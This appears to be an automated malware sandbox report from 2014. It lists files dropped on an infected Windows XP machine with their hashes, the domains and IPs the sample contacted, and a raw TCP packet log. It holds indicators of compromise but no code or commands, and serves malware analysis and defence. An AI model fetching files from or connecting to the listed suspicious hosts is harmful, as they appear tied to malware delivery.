C:\Documents and Settings\Administrator\Application Data\Microsoft\CryptnetUrlCache\Content\94308059B57B3142E455B38A6EB92015	Type: Microsoft Cabinet archive data, 54009 bytes, 1 file MD5: 37C3AC7E8DC94373C9687E748AE3578E SHA: 509A4695ADD9E9709C2E673529ED53C7D0D0ABD8 SHA-256: B6E0ACAA93D42418499B5E3D74F4DD6D8BC8F47FD71A34642F41DA2CDDC98B46 SHA-512: F02A335BBEB1545D8EC1427C6517A64046D0200F47C518078CD4CF7803FB3B0136125A10A744610B8C84BB706AA8B4A1497BC27BCD84E90FC719920EB2F1C2B5
C:\Documents and Settings\Administrator\Application Data\Microsoft\CryptnetUrlCache\Content\AC9005F5466BD463DF06D711B370595F	Type: data MD5: 7B14617DFAD666C8206F0DA46BEB0EAB SHA: 9D14B9B98EAD61251D6E4A3B6067977BE0254F22 SHA-256: 00EC9E241D1ACFEB45773993FCFC006105918C5ADB974E76A41CD882E32F925B SHA-512: 33CC2A6C2262B9C66E82E35998EF53223B308A27FC445256E637ACA3A1CB053CDFD0726691FFC05A48812AAC9AF6B3D4D05F8C903CA3F9C0E681E207321B2869
C:\Documents and Settings\Administrator\Application Data\Microsoft\CryptnetUrlCache\MetaData\1DAF2884EC4DFA96BA4A58D4DBC9C406	Type: data MD5: A2EB91A09161018FAAE214798E3A2C6B SHA: 8C42D9F9A50A1F530AFFD91BD9DB587DAE8678EE SHA-256: 115AB97C9142BBE887106125D13F7F12B5B1496C3F29B31E8BFAFAA8458B3CAE SHA-512: ADD25E8E75E5AB0679921C2494B4458ED53715E1F275D1F60551795B120359432F823ED2A1DDF3A22426246758BA94AB2F61AC8472BF80591CC0BAF6D88A0266
C:\Documents and Settings\Administrator\Application Data\Microsoft\CryptnetUrlCache\MetaData\23B523C9E7746F715D33C6527C18EB9D	Type: data MD5: 05C7A35F489AE117E48724F14765D2D1 SHA: 3525125BE3CA97DCA2653E3840AC7A6253DFB4C8 SHA-256: 9AE02C0536C92DFEF803F418C4F26B04D430A251BE9BEB378AC3B1084B24BAFF SHA-512: 7D1CDD122C5A40052B98BF08689ACA2994A564B0E212D7C9CA65FFFC9C9D9F4622914780AE1E01DA2BBCCFD29B2747F39A797A9EC3632ED894A6D0F5F6BA31ED
C:\Documents and Settings\Administrator\Application Data\Microsoft\CryptnetUrlCache\MetaData\2BF68F4714092295550497DD56F57004	Type: data MD5: 1A0FDCB1E94A2D9A1A978ECCBDDCE8D2 SHA: 572058DC5D3C8DC810761CD8F2DB7ED3462AFB47 SHA-256: F657DB733C9AB89BBD29142F04EC2025C195FD5EDC29CA99C605D807DBFD96AF SHA-512: AD8A659B4180E0528C9CD9125E24539B8ECDE17FBA26925B4599EACACE927122E0B924E2E01FF5ABEACE367BDAB3E08EBE2199D6EA02CCE8DF6124D1B6D74A09
C:\Documents and Settings\Administrator\Application Data\Microsoft\CryptnetUrlCache\MetaData\4309200C3DBAD0F6F0DFACE9165FD092	Type: data MD5: 5B757338DB0DA9F3BCDFE77C4D2EBB88 SHA: F6BE51CDC12520F5AB27D2F5298068B213D9EF82 SHA-256: 344E0EB4096A5BEFB68ECA99FCEA2E4B41BE67E909F4C45D1B67B44B0A579C1F SHA-512: 3446792FE7DDB643360C57203B67BF56348EB2066CFF15F0643C286F2284FEC09FF8334A6D183A62A08FFFF7D8F206A9D3F2B8B75F909A826797EF5E8C1A9D77
C:\Documents and Settings\Administrator\Application Data\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015	Type: data MD5: C704F15D63EA74B29684927382023D50 SHA: 2DD0FCD703E9D17D7E12F3BDAAE964F3DC753DD1 SHA-256: 273F5E8CC85906642FB10694E286613D438584944A8FFDFF1A9E52F31EBC69EA SHA-512: CE80F13562D843F56FC0C47F9478B5BD8E3D7170AAC1CD5FC030179A8853151D8D0DF39BD08DC44B425761D69F2388E0C1D45FCCFE923604F8285688EBCB480B
C:\Documents and Settings\Administrator\Application Data\Microsoft\CryptnetUrlCache\MetaData\AC9005F5466BD463DF06D711B370595F	Type: data MD5: 675AE55638769DE9819EEB27F3DE04AF SHA: 951B346ED68D12194BE25C11E2A8B42CF3CBA549 SHA-256: 10B62CF486A0E960D3EEA83908203AEA68A868511209DE7EF1459AF6953B0B0A SHA-512: 58E73066A49507DD8B2200C944C09B079C3011C60CC2C747EE2E8A6A562E6BFFC146755422EE70909B8E57BB4BCC3B8EBCB57F62EC1C464A381C830B859A1628
C:\Documents and Settings\Administrator\Application Data\Voxi\oxfyc.exe	Type: PE32 executable for MS Windows (GUI) Intel 80386 32-bit MD5: B0F7A032A0174DED0E7168B9F4150FF6 SHA: 4A489CAB88B6A763537E2AA98F09F48B7B0A0850 SHA-256: 3107E2468B89EA1B71B69FBC602696E3358AECD56D3281746051F5E00832CDCE SHA-512: FE2DFD35923920336D3457639B0552E697002CAB260C8ECF4925636768A44C7633AF3812D3E8A28CCA3FEB034F2158383A9657188C55A6822BD94455B26C00B7
C:\Documents and Settings\Administrator\Local Settings\Application Data\Microsoft\Internet Explorer\Recovery\Active\RecoveryStore.{351C9A7A-A01B-11E3-97AC-080027B8F5FB}.dat	Type: Microsoft Word Document MD5: 76A08B00FA745A78F6CFC292216DAD1B SHA: BAA5491357D3986144C606F4656CF1CFE39FD232 SHA-256: E57B3A9C94660F13B34D1EC75DF77C63B8CF2E935724E41FD2680D346BE40C18 SHA-512: 21484C47FECB80FD7EDC0AC42A98ABA31EDB526F07BCD0EB8BEC024C03E8275581630D9093FC8FA3D3F7C128E077E89D81BAE75445A71505C6389F4360F84520
C:\Documents and Settings\Administrator\Local Settings\Application Data\Microsoft\Internet Explorer\Recovery\Active\{351C9A7C-A01B-11E3-97AC-080027B8F5FB}.dat	Type: Microsoft Word Document MD5: DD86DB51A0CB16A62FBFE865003E37CE SHA: CFFC7026AC4FE37A83EDABA8A58913D8FD9057DD SHA-256: F4C8644207A88B9F1B8E497DDE2967B1784E6B93C57FFCAA0FC377D741260C4B SHA-512: A7D6FE4E1E4177B445D01CAB5E06F6988B86BD0D2278B80B1DA9D9833C25B9A8C8B36B845F88D8AE0E6AEB4B803E8491B57AC3CFC897DA5FF9EB4D455BC60EFD
C:\Documents and Settings\Administrator\Local Settings\Application Data\Microsoft\Internet Explorer\Recovery\Active\{351C9A7E-A01B-11E3-97AC-080027B8F5FB}.dat	Type: Microsoft Word Document MD5: 81197053ABCDB321749A4D1FBC410A8D SHA: 8F3ECD760D4C571AA1E919D6969C13DBDC32433B SHA-256: C558FFAF0120BF6F91ECDD92784162EF90BB58556BEC60434F156E6385F105EA SHA-512: A8DB9509100AD307A07AB8A5A96E49C886520154EA716DDE42B2C92AF5163BC7593EE8F06905AA5A100C806BC6986DC22B85A326FC47C5F31F09E1DE7B23D549
C:\Documents and Settings\Administrator\Local Settings\Application Data\Microsoft\Internet Explorer\Recovery\Active\{4838F3E0-A01B-11E3-97AC-080027B8F5FB}.dat	Type: Microsoft Word Document MD5: 69DA8CB32B31794DE579A87F69428491 SHA: 3C1E8A8EB03ECAF8B5A82C1D10170C4AF725EB60 SHA-256: 9985F7F84D92D6BA3582FDFA8E848F07D55E47F8737ED223F4EC49E06B56D5BA SHA-512: 7EE0E3D270CE0AF2A50DA3DDC70D082A0C1FCE0433F0F785A71EC491117F84E430D6EF93AA58734CCE5065CDB3ED48CCCE87A626165DFAC3068CC7EEC1DCED23
C:\Documents and Settings\Administrator\Local Settings\Application Data\Microsoft\Internet Explorer\Recovery\Active\{4838F3E1-A01B-11E3-97AC-080027B8F5FB}.dat	Type: Microsoft Word Document MD5: 65B1478484CD2BE62E3994C028C79BEA SHA: CFEF4566D51E6010EB483FDEA230C28858B0BED9 SHA-256: 52D440256F9460553E86E79F9C8D993FD705B2FB2E1FA19DFF8FC039848DCCC3 SHA-512: F7C7542962EEBE55F41317966FB021CBF14DB9EA0A4CB78E08F407DE6B097B44CDF7FDAA757D5A8C47CD42D49F6C73D83632C3709DF1A23F95924226A87DA5A8
C:\Documents and Settings\Administrator\Local Settings\Application Data\Microsoft\Internet Explorer\Services\search_{0633EE93-D776-472f-A0FF-E1416B8B2E3A}.ico	Type: MS Windows icon resource - 1 icon MD5: 64AD26B9B9D8E4DA8CD564FE4843E65F SHA: 9D1D05134F36EBA77ED18F725BC0CA2121FA2686 SHA-256: E5DCCC694E7F34DAF334B3A48B68DA450D5B34FE8A4E06842D864E99F400770A SHA-512: 5F77BF6EC0D46C99E02A268E63587C9CD552B61FDB55ECE3955B50CC470EC103B06B2360EDA86BD49AA45458E1885F7A4E8256DA7B47DC8B8B343BCEF5CDCEA1
C:\Documents and Settings\Administrator\Local Settings\Temporary Internet Files\Content.IE5\245SLPSA\earners[1].js	Type: ASCII text, with no line terminators MD5: 9AC295979D4D04804ECDA1D03E4CC97C SHA: 597F99F141832EEBD9FE48058AB0BEF15ECBEF6D SHA-256: 5E4E4C5C05FA0ABA13DCB6FC46E1711B40A6C2E4133286E36B034AAC666557E5 SHA-512: 36F0D7D1C4390883279FC83AC13CF0030EFA53DBF7BE2806C6CB45202CE9EB16DE1F953A3A842852279371D819C0DB24DF5BA64F7CE47A23033B805002C36AC6
C:\Documents and Settings\Administrator\Local Settings\Temporary Internet Files\Content.IE5\82NJRK4E\27UKp[1].fb2	Type: data MD5: CA35C4E0C3E04EBBFDD699F3708A10B3 SHA: BE4524657E1377917D19CB6EDDA80159CD20EF30 SHA-256: 7B895F9D1BA4128D7CC6AFA6443C6919C9C7FD8BE4F9CFA3D812F77B96EE26EC SHA-512: 4D6A0C5BFD6D174244B2075AA5AE16393ECF855C727BCF63867FB66F504223BE01D341FF7B2AA6CAC3CB66CFC93EC82918733D5B143B08C941EDFB5A69B16B8D
C:\Documents and Settings\Administrator\Local Settings\Temporary Internet Files\Content.IE5\82NJRK4E\EoDgwO8EW5EKuirhtrpofaJPQHqQclBlZJwjiO_6QXZIaLYp[1].swf	Type: Macromedia Flash data (compressed), version 14 MD5: 25531B0CD8B3D1271782A1E4769359C0 SHA: 0FE79BDCED9D5930910EB991C240F39D1C2E89D2 SHA-256: 238B35A4C4A82C96A7F873DAD39B1A97612CC9D8BEB77ED85053629D07037A46 SHA-512: AE65B9E81F445FF1AF6A9C1A7670760D90CE161635F502AFA0657FB8DC52C25599FF6E0B2AD443A2EF24D8622420412152C3D760B4DB872C0B94BD9B2CC2BA07
C:\Documents and Settings\Administrator\Local Settings\Temporary Internet Files\Content.IE5\82NJRK4E\sg3oyoe0v2[1].htm	Type: data MD5: F955FF01D1E87C1F99F4221D437213A3 SHA: C39EC24DB7F48939E3A7C1AB1803C1B4ABA679B6 SHA-256: C42E89E483317413874F1B2D6E4B888C2A71A8CFBFC6022C8D31FFC5C1EDB91D SHA-512: 7B5C5C775495F9385242648C6A14231CCCB4CD851761AA4CE2F16B193E661D9E6528110898357EABB8A44A0D829569D16F7DEC97C063FFF21537ADF5DDF8D370
C:\Documents and Settings\Administrator\Local Settings\Temporary Internet Files\Content.IE5\TA7NCEIS\index[1].htm	Type: HTML document text MD5: FFA743C4168B457619399A6014F15DAB SHA: 59946A69746D08AEE74C7B8D04D172D441FEFDB8 SHA-256: F9C9E9F44C204C96FE0700C7A2BF81D92A95B884F9222C0D151EACA23C2AEA48 SHA-512: 0618616D8575667B4E5A6EA98F6D9859CA7EC019F5D3BEED7E0B9EDF1296415EF176002D740F72370C7E39571519DB220D14A2C724786F2536052443807BDC6F
C:\Documents and Settings\Administrator\Local Settings\Temporary Internet Files\Content.IE5\TA7NCEIS\known_providers_download_v1[1].xml	Type: XML document text MD5: 05AE1BE5EA4C6812EE365647B1DC873F SHA: 4438EA2BFF0BCA1314978B621E49BBB84952AB20 SHA-256: CB60EFC75C78B0086ECE2B97FF0E1F0753A1F8160EBA08786E414BA2FADDE5C7 SHA-512: 066DDFD5DFB1BF7C79447AEE27A7963320A07E29E47D04A287AE1E8BD5D01C1E02664A6CFF4E5AED2B9DA8E85B56071DDC20C22FB34EE4F55C2B5E0B500DE63D
C:\Documents and Settings\Administrator\Local Settings\Temporary Internet Files\Content.IE5\ZAG0RU2I\Test[1].fb2	Type: data MD5: 91A04809D656BCCF506EADD5E479B157 SHA: 7CD9DFEEC3E60E13619B18146CB2C078BC8F9596 SHA-256: 4B03874E0972B71004603A10009547F902A247AA736BFCA0778C46B9C9E75A7B SHA-512: 751C58A38C902E0AC1649A462D7988DE1E177885E843ACB433B5B79E4569488151E67B4330FDD6CD5E8ECFAAF3D498E7FFBCDCD3E904D75153622EA3FD878D22
C:\Documents and Settings\Administrator\Local Settings\Temporary Internet Files\Content.IE5\ZAG0RU2I\garlicky[1].js	Type: ASCII text, with no line terminators MD5: 9AC295979D4D04804ECDA1D03E4CC97C SHA: 597F99F141832EEBD9FE48058AB0BEF15ECBEF6D SHA-256: 5E4E4C5C05FA0ABA13DCB6FC46E1711B40A6C2E4133286E36B034AAC666557E5 SHA-512: 36F0D7D1C4390883279FC83AC13CF0030EFA53DBF7BE2806C6CB45202CE9EB16DE1F953A3A842852279371D819C0DB24DF5BA64F7CE47A23033B805002C36AC6
C:\WINDOWS\aplib.dll	Type: PE32 executable for MS Windows (DLL) (GUI) Intel 80386 32-bit MD5: 7FE2B0B3FC2078130F20070A05DAF8D5 SHA: 50074EE52AA1F11FD6279D9D2B2747204C474E45 SHA-256: 0682EF948EE01E65143D3B718686ECB9F183C37821710C0E2E60DD01FDA76A49 SHA-512: E467EDCCCC22A78B7B7DEE30F3CA0909E97B410AAAF49094A15455A158D91AD97F4FA55F2D48B2ACB3F0EA7A8381B1C0248F13C7F3320BACFE28E7EA9C00474D
C:\WINDOWS\aplib64.dll	Type: PE32+ executable for MS Windows (DLL) (GUI) MD5: 3F4FE60B6D1E05144F6EFA098AC381A8 SHA: BEF0A398DE9A9227AD1AD96ABED5043447264C86 SHA-256: AA472E1CD10C18BA76E3E5D0173FD15FD6410F7577B53E95491C0F60C18AFAC6 SHA-512: A2B4D6C927E60FDA4BBC89EC126D9CBB89E8570C74AF38FADB5A2537003787B65BDDCBACDE0AD93C1428EB9F021F87E5C006657A05F31D59E21B0B8535EF56BF
C:\WINDOWS\client.dll	Type: PE32 executable for MS Windows (DLL) (GUI) Intel 80386 32-bit MD5: 01C1E3AB46762EF23EB2AC898EA84C2C SHA: CE49354EE3B57DC24BC229FB099D39F4A87FEC3B SHA-256: 8F5DEED86ADCC92D720AFA2C9DC3CA3B010B8DA2BF554F100EC24E8A16F0C27B SHA-512: 99AC1F9F3EB5784B81174EC2FD8D8E9DFD72C2FCF66ED3056662343D6672F179AC180A4B5147FB4A358B1D491BF41A57DDFC3AAC74C3FCFC4A087436E50F2EEE
C:\WINDOWS\zlib1.dll	Type: PE32 executable for MS Windows (DLL) (GUI) Intel 80386 32-bit MD5: 80E41408F6D641DC1C0F5353A0CC8125 SHA: 6D957BA632DF5B06D49A901F2772DF4301610A2A SHA-256: B09537250201236472CCD3CAFF5C0C12A5FAD262E1E951350E9E5ED2A81D9DDE SHA-512: 857D4DC087C73F00D79BF70EDFC67DDC0B15A86A4FFF366D91E5EF6684AF43EED7DCF8579F6B4FB35DEDD090973E2BDE1A82AAE07642136B608EEB1D567E5C03
\ROUTER	Type: GLS_BINARY_LSB_FIRST MD5: D45B6753D7FB279330A93A1042CDC7A9 SHA: 21AA432EC9F06FB0AFB7D31724200866BF926F0E SHA-256: 2EC17EB6F0AD47774B73D89CDFDB5FC7D85EC4DDBBC2B56FE48D444B1C0A2E71 SHA-512: 851A61E70664B2BB8190D7F8D3ADE4ADB729E02FEF2385FC185E5C9270551168CB18A080A5F6D49B0B824B8481FAC91B353608B930181662B44AFE9E0917733F

Contacted Domains

Name	IP	Name Server	Active	Registrar	e-Mail
www.microsoft.com	64.4.11.42	unknown	true	unknown	unknown
cdp1.public-trust.com	64.18.20.10	unknown	true	unknown	unknown
myhousejob.com	103.8.127.190	unknown	true	unknown	unknown
mscrl.microsoft.com	207.46.206.30	unknown	true	unknown	unknown
northwesternfoods.com	23.239.12.68	unknown	true	unknown	unknown
billigast-el.nu	78.47.37.108	unknown	true	unknown	unknown
goldwinevents.com	103.8.127.189	unknown	true	unknown	unknown
99websoft.com	103.8.127.2	unknown	true	unknown	unknown
ftp.arearealestate.com	208.106.171.74	unknown	true	unknown	unknown
jsmpodcast.info	173.201.146.1	unknown	true	unknown	unknown
crl.geotrust.com	23.61.69.163	unknown	true	unknown	unknown
www.download.windowsupdate.com	209.107.220.51	unknown	true	unknown	unknown
tattitude.co.uk	173.254.28.46	unknown	true	unknown	unknown
www.bing.com	204.79.197.200	unknown	true	unknown	unknown
www.yahoo.com	98.139.183.24	unknown	true	unknown	unknown
ieonline.microsoft.com	204.79.197.200	unknown	true	unknown	unknown
go.microsoft.com	65.55.58.195	unknown	true	unknown	unknown

Contacted IPs

IP	Country	Pingable	Open Ports
23.61.69.163	United States	unknown	unknown
103.8.127.189	India	unknown	unknown
64.18.20.10	United States	unknown	unknown
98.139.183.24	United States	unknown	unknown
95.211.192.195	Netherlands	unknown	unknown
78.47.37.108	Germany	unknown	unknown
209.107.220.51	United States	unknown	unknown
173.254.28.46	United States	unknown	unknown
23.239.12.68	United States	unknown	unknown
103.8.127.190	India	unknown	unknown
195.186.1.121	Switzerland	unknown	unknown
204.79.197.200	United States	unknown	unknown
103.8.127.2	India	unknown	unknown
208.106.171.74	United States	unknown	unknown
173.201.146.1	United States	unknown	unknown
65.55.58.195	United States	unknown	unknown
207.46.206.30	United States	unknown	unknown
195.186.4.121	Switzerland	unknown	unknown

Static File Info

No static file info

Network Behavior

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Feb 27, 2014 17:54:07.940036058 MEZ	60068	53	192.168.0.18	195.186.1.121
Feb 27, 2014 17:54:08.232125998 MEZ	53	60068	195.186.1.121	192.168.0.18
Feb 27, 2014 17:54:15.418843985 MEZ	56183	53	192.168.0.18	195.186.1.121
Feb 27, 2014 17:54:15.692023039 MEZ	53	56183	195.186.1.121	192.168.0.18
Feb 27, 2014 17:54:15.695822001 MEZ	1039	443	192.168.0.18	65.55.58.195
Feb 27, 2014 17:54:15.695849895 MEZ	443	1039	65.55.58.195	192.168.0.18
Feb 27, 2014 17:54:15.695957899 MEZ	1039	443	192.168.0.18	65.55.58.195
Feb 27, 2014 17:54:15.701884985 MEZ	1039	443	192.168.0.18	65.55.58.195
Feb 27, 2014 17:54:15.701894999 MEZ	443	1039	65.55.58.195	192.168.0.18
Feb 27, 2014 17:54:16.483200073 MEZ	443	1039	65.55.58.195	192.168.0.18
Feb 27, 2014 17:54:16.627919912 MEZ	1039	443	192.168.0.18	65.55.58.195
Feb 27, 2014 17:54:16.627932072 MEZ	443	1039	65.55.58.195	192.168.0.18
Feb 27, 2014 17:54:16.701728106 MEZ	52891	53	192.168.0.18	195.186.1.121
Feb 27, 2014 17:54:16.846755028 MEZ	1039	443	192.168.0.18	65.55.58.195
Feb 27, 2014 17:54:16.846769094 MEZ	443	1039	65.55.58.195	192.168.0.18
Feb 27, 2014 17:54:16.890161991 MEZ	443	1039	65.55.58.195	192.168.0.18
Feb 27, 2014 17:54:16.890168905 MEZ	443	1039	65.55.58.195	192.168.0.18
Feb 27, 2014 17:54:16.890289068 MEZ	1039	443	192.168.0.18	65.55.58.195
Feb 27, 2014 17:54:16.890300989 MEZ	443	1039	65.55.58.195	192.168.0.18
Feb 27, 2014 17:54:16.890402079 MEZ	1039	443	192.168.0.18	65.55.58.195
Feb 27, 2014 17:54:16.891933918 MEZ	1039	443	192.168.0.18	65.55.58.195
Feb 27, 2014 17:54:16.891942978 MEZ	443	1039	65.55.58.195	192.168.0.18
Feb 27, 2014 17:54:17.171118975 MEZ	53	52891	195.186.1.121	192.168.0.18
Feb 27, 2014 17:54:17.182121992 MEZ	1041	80	192.168.0.18	173.201.146.1
Feb 27, 2014 17:54:17.182152033 MEZ	80	1041	173.201.146.1	192.168.0.18
Feb 27, 2014 17:54:17.182240963 MEZ	1041	80	192.168.0.18	173.201.146.1
Feb 27, 2014 17:54:17.183897018 MEZ	1041	80	192.168.0.18	173.201.146.1
Feb 27, 2014 17:54:17.183919907 MEZ	80	1041	173.201.146.1	192.168.0.18
Feb 27, 2014 17:54:17.263853073 MEZ	443	1039	65.55.58.195	192.168.0.18
Feb 27, 2014 17:54:17.394057035 MEZ	1039	443	192.168.0.18	65.55.58.195
Feb 27, 2014 17:54:17.822393894 MEZ	80	1041	173.201.146.1	192.168.0.18
Feb 27, 2014 17:54:17.828306913 MEZ	53902	53	192.168.0.18	195.186.1.121
Feb 27, 2014 17:54:17.888158083 MEZ	56168	53	192.168.0.18	195.186.1.121
Feb 27, 2014 17:54:17.895243883 MEZ	63737	53	192.168.0.18	195.186.1.121
Feb 27, 2014 17:54:17.940552950 MEZ	1041	80	192.168.0.18	173.201.146.1
Feb 27, 2014 17:54:17.940568924 MEZ	80	1041	173.201.146.1	192.168.0.18
Feb 27, 2014 17:54:17.948903084 MEZ	60640	53	192.168.0.18	195.186.1.121
Feb 27, 2014 17:54:18.121949911 MEZ	53	53902	195.186.1.121	192.168.0.18
Feb 27, 2014 17:54:18.129869938 MEZ	1042	80	192.168.0.18	209.107.220.51
Feb 27, 2014 17:54:18.129892111 MEZ	80	1042	209.107.220.51	192.168.0.18
Feb 27, 2014 17:54:18.129993916 MEZ	1042	80	192.168.0.18	209.107.220.51
Feb 27, 2014 17:54:18.131071091 MEZ	1042	80	192.168.0.18	209.107.220.51
Feb 27, 2014 17:54:18.131081104 MEZ	80	1042	209.107.220.51	192.168.0.18
Feb 27, 2014 17:54:18.159303904 MEZ	1041	80	192.168.0.18	173.201.146.1
Feb 27, 2014 17:54:18.290077925 MEZ	53	63737	195.186.1.121	192.168.0.18
Feb 27, 2014 17:54:18.297844887 MEZ	1043	80	192.168.0.18	208.106.171.74
Feb 27, 2014 17:54:18.297862053 MEZ	80	1043	208.106.171.74	192.168.0.18
Feb 27, 2014 17:54:18.297959089 MEZ	1043	80	192.168.0.18	208.106.171.74
Feb 27, 2014 17:54:18.316545963 MEZ	1043	80	192.168.0.18	208.106.171.74
Feb 27, 2014 17:54:18.316557884 MEZ	80	1043	208.106.171.74	192.168.0.18
Feb 27, 2014 17:54:18.346581936 MEZ	53	56168	195.186.1.121	192.168.0.18
Feb 27, 2014 17:54:18.346649885 MEZ	53	60640	195.186.1.121	192.168.0.18
Feb 27, 2014 17:54:18.358392954 MEZ	1044	80	192.168.0.18	78.47.37.108
Feb 27, 2014 17:54:18.358408928 MEZ	80	1044	78.47.37.108	192.168.0.18
Feb 27, 2014 17:54:18.358506918 MEZ	1044	80	192.168.0.18	78.47.37.108
Feb 27, 2014 17:54:18.379797935 MEZ	1045	80	192.168.0.18	173.254.28.46
Feb 27, 2014 17:54:18.379812956 MEZ	80	1045	173.254.28.46	192.168.0.18
Feb 27, 2014 17:54:18.379894972 MEZ	1045	80	192.168.0.18	173.254.28.46
Feb 27, 2014 17:54:18.380580902 MEZ	1044	80	192.168.0.18	78.47.37.108
Feb 27, 2014 17:54:18.380592108 MEZ	80	1044	78.47.37.108	192.168.0.18
Feb 27, 2014 17:54:18.382679939 MEZ	1045	80	192.168.0.18	173.254.28.46
Feb 27, 2014 17:54:18.382688999 MEZ	80	1045	173.254.28.46	192.168.0.18
Feb 27, 2014 17:54:19.085042000 MEZ	80	1042	209.107.220.51	192.168.0.18
Feb 27, 2014 17:54:19.109843969 MEZ	1042	80	192.168.0.18	209.107.220.51
Feb 27, 2014 17:54:19.109865904 MEZ	80	1042	209.107.220.51	192.168.0.18
Feb 27, 2014 17:54:19.158140898 MEZ	80	1043	208.106.171.74	192.168.0.18
Feb 27, 2014 17:54:19.244440079 MEZ	80	1044	78.47.37.108	192.168.0.18
Feb 27, 2014 17:54:19.254071951 MEZ	1044	80	192.168.0.18	78.47.37.108
Feb 27, 2014 17:54:19.254295111 MEZ	80	1044	78.47.37.108	192.168.0.18
Feb 27, 2014 17:54:19.254901886 MEZ	1044	80	192.168.0.18	78.47.37.108
Feb 27, 2014 17:54:19.291068077 MEZ	1045	80	192.168.0.18	173.254.28.46
Feb 27, 2014 17:54:19.295491934 MEZ	64025	53	192.168.0.18	195.186.1.121
Feb 27, 2014 17:54:19.362652063 MEZ	1043	80	192.168.0.18	208.106.171.74
Feb 27, 2014 17:54:19.495863914 MEZ	80	1042	209.107.220.51	192.168.0.18
Feb 27, 2014 17:54:19.553136110 MEZ	80	1042	209.107.220.51	192.168.0.18
Feb 27, 2014 17:54:19.553167105 MEZ	80	1042	209.107.220.51	192.168.0.18
Feb 27, 2014 17:54:19.553177118 MEZ	80	1042	209.107.220.51	192.168.0.18
Feb 27, 2014 17:54:19.554481030 MEZ	1042	80	192.168.0.18	209.107.220.51
Feb 27, 2014 17:54:19.554529905 MEZ	80	1042	209.107.220.51	192.168.0.18
Feb 27, 2014 17:54:19.554666042 MEZ	1042	80	192.168.0.18	209.107.220.51
Feb 27, 2014 17:54:19.690839052 MEZ	1042	80	192.168.0.18	209.107.220.51
Feb 27, 2014 17:54:20.284789085 MEZ	64025	53	192.168.0.18	195.186.4.121
Feb 27, 2014 17:54:20.714222908 MEZ	80	1042	209.107.220.51	192.168.0.18
Feb 27, 2014 17:54:20.714253902 MEZ	80	1042	209.107.220.51	192.168.0.18
Feb 27, 2014 17:54:20.714266062 MEZ	80	1042	209.107.220.51	192.168.0.18
Feb 27, 2014 17:54:20.714689970 MEZ	1042	80	192.168.0.18	209.107.220.51
Feb 27, 2014 17:54:20.714792013 MEZ	80	1042	209.107.220.51	192.168.0.18
Feb 27, 2014 17:54:20.714812040 MEZ	80	1042	209.107.220.51	192.168.0.18
Feb 27, 2014 17:54:20.715042114 MEZ	80	1042	209.107.220.51	192.168.0.18
Feb 27, 2014 17:54:20.715257883 MEZ	1042	80	192.168.0.18	209.107.220.51
Feb 27, 2014 17:54:20.715276003 MEZ	80	1042	209.107.220.51	192.168.0.18
Feb 27, 2014 17:54:20.715298891 MEZ	80	1042	209.107.220.51	192.168.0.18
Feb 27, 2014 17:54:20.715428114 MEZ	1042	80	192.168.0.18	209.107.220.51
Feb 27, 2014 17:54:20.715698957 MEZ	80	1042	209.107.220.51	192.168.0.18
Feb 27, 2014 17:54:20.715797901 MEZ	1042	80	192.168.0.18	209.107.220.51
Feb 27, 2014 17:54:20.715830088 MEZ	80	1042	209.107.220.51	192.168.0.18
Feb 27, 2014 17:54:20.716267109 MEZ	1042	80	192.168.0.18	209.107.220.51
Feb 27, 2014 17:54:20.716298103 MEZ	80	1042	209.107.220.51	192.168.0.18
Feb 27, 2014 17:54:20.894005060 MEZ	1042	80	192.168.0.18	209.107.220.51
Feb 27, 2014 17:54:21.284703016 MEZ	64025	53	192.168.0.18	195.186.1.121
Feb 27, 2014 17:54:21.354177952 MEZ	80	1042	209.107.220.51	192.168.0.18
Feb 27, 2014 17:54:21.354202986 MEZ	80	1042	209.107.220.51	192.168.0.18
Feb 27, 2014 17:54:21.354212046 MEZ	80	1042	209.107.220.51	192.168.0.18
Feb 27, 2014 17:54:21.354553938 MEZ	1042	80	192.168.0.18	209.107.220.51
Feb 27, 2014 17:54:21.547079086 MEZ	80	1042	209.107.220.51	192.168.0.18
Feb 27, 2014 17:54:21.547089100 MEZ	80	1042	209.107.220.51	192.168.0.18
Feb 27, 2014 17:54:21.547243118 MEZ	1042	80	192.168.0.18	209.107.220.51
Feb 27, 2014 17:54:21.547255039 MEZ	80	1042	209.107.220.51	192.168.0.18
Feb 27, 2014 17:54:21.547368050 MEZ	1042	80	192.168.0.18	209.107.220.51
Feb 27, 2014 17:54:21.643440962 MEZ	80	1042	209.107.220.51	192.168.0.18
Feb 27, 2014 17:54:21.643558979 MEZ	80	1042	209.107.220.51	192.168.0.18
Feb 27, 2014 17:54:21.643563986 MEZ	80	1042	209.107.220.51	192.168.0.18
Feb 27, 2014 17:54:21.643646002 MEZ	1042	80	192.168.0.18	209.107.220.51
Feb 27, 2014 17:54:21.643657923 MEZ	80	1042	209.107.220.51	192.168.0.18
Feb 27, 2014 17:54:21.643790007 MEZ	1042	80	192.168.0.18	209.107.220.51
Feb 27, 2014 17:54:21.836836100 MEZ	80	1042	209.107.220.51	192.168.0.18
Feb 27, 2014 17:54:21.836869955 MEZ	80	1042	209.107.220.51	192.168.0.18
Feb 27, 2014 17:54:21.836882114 MEZ	80	1042	209.107.220.51	192.168.0.18
Feb 27, 2014 17:54:21.837281942 MEZ	1042	80	192.168.0.18	209.107.220.51
Feb 27, 2014 17:54:21.932756901 MEZ	80	1042	209.107.220.51	192.168.0.18
Feb 27, 2014 17:54:21.932770967 MEZ	80	1042	209.107.220.51	192.168.0.18
Feb 27, 2014 17:54:21.932940960 MEZ	1042	80	192.168.0.18	209.107.220.51
Feb 27, 2014 17:54:21.932959080 MEZ	80	1042	209.107.220.51	192.168.0.18
Feb 27, 2014 17:54:21.933178902 MEZ	1042	80	192.168.0.18	209.107.220.51
Feb 27, 2014 17:54:21.980706930 MEZ	80	1042	209.107.220.51	192.168.0.18
Feb 27, 2014 17:54:21.980729103 MEZ	80	1042	209.107.220.51	192.168.0.18
Feb 27, 2014 17:54:21.980731964 MEZ	80	1042	209.107.220.51	192.168.0.18
Feb 27, 2014 17:54:21.980808973 MEZ	1042	80	192.168.0.18	209.107.220.51
Feb 27, 2014 17:54:22.096673965 MEZ	1042	80	192.168.0.18	209.107.220.51
Feb 27, 2014 17:54:22.096688032 MEZ	80	1042	209.107.220.51	192.168.0.18
Feb 27, 2014 17:54:22.262459993 MEZ	80	1042	209.107.220.51	192.168.0.18
Feb 27, 2014 17:54:22.262492895 MEZ	80	1042	209.107.220.51	192.168.0.18
